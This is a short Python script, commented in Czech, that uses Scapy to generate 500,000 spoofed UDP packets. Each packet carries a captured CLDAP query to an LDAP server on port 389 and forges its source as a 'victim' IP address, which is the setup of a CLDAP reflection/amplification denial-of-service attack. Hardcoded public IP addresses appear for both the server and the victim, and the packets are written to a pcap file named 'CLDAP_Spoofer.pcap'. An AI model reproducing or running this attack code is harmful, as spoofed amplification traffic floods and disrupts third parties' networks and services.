#!/usr/bin/python3

import os, time, string, random, sys, socket, struct
from netaddr import *
from scapy import route
from scapy.all import *

def gen_rand_port_over_1900():
	return random.randrange(1901, 65535)

def gen_rand_port_over_50000():
	return random.randrange(50000, 65535)

srv1='152.228.209.36' # Windows Server 2019 Standard (Desktop)
victim='185.167.97.130'


# Payload získaný z tcpdump -w pcap -nnvvpi Iface port 389
d4=b'\x30\x25\x02\x01\x02\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73\x73\x30\x00'

ETH1 = Ether()
IP1 = IP(src = victim, dst = srv1)
UDP1 = UDP(sport=gen_rand_port_over_50000(),dport=389)
pkt = ETH1/IP1/UDP1/d4

nb_pkt=500000 # Vygeneruje 500000 paketů
pcap_name='CLDAP_Spoofer.pcap'
for _ in range(0,nb_pkt):	
	ETH1 = Ether()
	IP1 = IP(src = victim, dst = srv1)
	UDP1 = UDP(sport=gen_rand_port_over_50000(),dport=389)
	pkt = ETH1/IP1/UDP1/d4
	wrpcap(pcap_name,pkt,append=True)
